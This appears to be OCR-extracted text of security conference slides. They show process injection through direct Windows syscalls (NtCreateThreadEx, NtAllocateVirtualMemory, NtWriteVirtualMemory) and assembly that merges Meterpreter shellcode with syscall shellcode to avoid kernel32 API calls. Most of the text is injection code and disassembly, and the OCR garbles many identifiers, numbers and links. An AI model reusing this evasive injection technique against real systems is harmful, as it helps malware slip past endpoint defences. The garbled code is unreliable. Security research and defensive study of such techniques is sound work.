Bytes Written
Size of shellcode
Shellcode pointer

Pointer to allocated buffer

Handle of process

INVOKE SYSCALL




NtCreateThreadEXx

__kernel_entry NTSYSCALLAPI NTSTATUS NitCreateThreadEx (

OuT PHANDLE hThread,

IN ACCESS_MASK DesiredAccess,

IN PVOID ObjectAttributes,

I\ HANDLE ProcessHandle, IpstartAddress

IN PVOID IpStartAddress, < Meterpreter address
IN PVOID IpParameter,

IN ULONG Flags,

IN SIZE_T StackZeroBits,

IN SIZE_T SizeOfStackCommit,

IN SIZE_T SizeOfStackReserve,

OuT PVOID IpBytesBuffer



NtCreateThreadEXx

Xor ecx, ecx

push
push
push
push
push
push
push
push
push
push

lea ebx, dword ptr [ebp-4]

mov eax, dword ptr [edi-OxC]

call

ecx
ecx
ecx
ecx
ecx
ecx
dword ptr [ebp-0x20] «————
dword ptr [ebp-06x2C]
ecx

Ox1fffff

ourSYSCALL =——————7+r++-+—

Shellcode pointer in CrypTool.exe

INVOKE SYSCALL




Integrating Meterpreter

0: 81 ec e803 0000 SUB esp,0x3e8

6. eb 06 JMP OxE

o 98 "OP FDX T Get address of meterpreter
9. €986010000 — | JMP Ox194

e. e8 {5 ff ff ff CALL 0Ox8

13: da dé fcmovbe st,st(6) | <

15: bd 35 ec f8 9a MOV ebp,0x?af8ec35

1a: d9 74 24 4 FNSTENV [ESP-OxC]

le: 5e POP ESI

1f: 2b c9 SUB ECX,ECX

21: b1 59 MOV  CL,0x59

194. 89 55 a4 — ‘ MOV DWORD PTR [ebp-0x5c],edx \ Syscall shellcode
| hitps:/it.meliea XOR EAX, EAX




One Shellcode to Pwn Them All

» /ero kernel32 API calls.

« Combining both Meterpreter and the syscall shellcode into
one.

« Call the complete shellcode using syscalls.

« Using NtAllocateVirtualMemory and NiWriteVirtualMemory

to execute the shellcode.

* No VirtualAlloc or memcpy used.




Execution Skeleton

_asm{
push 0x40
push 0x3000 :
mov dword ptriebp-0xc], 0x390 Shellcode size
lea ebx, dword pir[ebp-0xc]
push ebx
xor ebx, ebx
push ebx
mov dword pir[ebp-0x10], ebx ) )
lea ebx, dword pir[ebp-0x10] // allocated space Equivalent WINAPI Code
push ebx
push Oxffffffff

mov eax, dword ptr[edi+0x4 . .
call ourSYSCALL Pl ] void* exec = VirtualAlloc();

memcpy(exec, code, sizeof(code));

| , dword ptr[ebp-0 : .
oo dword pirlebp-xe ((void(*)())exec)();

push 0x390

Mmov eax, met

push eax

push dword ptr[ebp-0x10] // allocated space
push Oxffffffff

mov eax, dword pir[edi-0x8]

call ourSYSCALL

imp dword ptr[ebp-0x10] < Run shellcode

4



DEMO




Thank You!

ProcinjectShellcode
https://github.com/nixpal/ProclnjectSyscall

ShellWasp
https://github.com/Bw3ll/ShellWasp



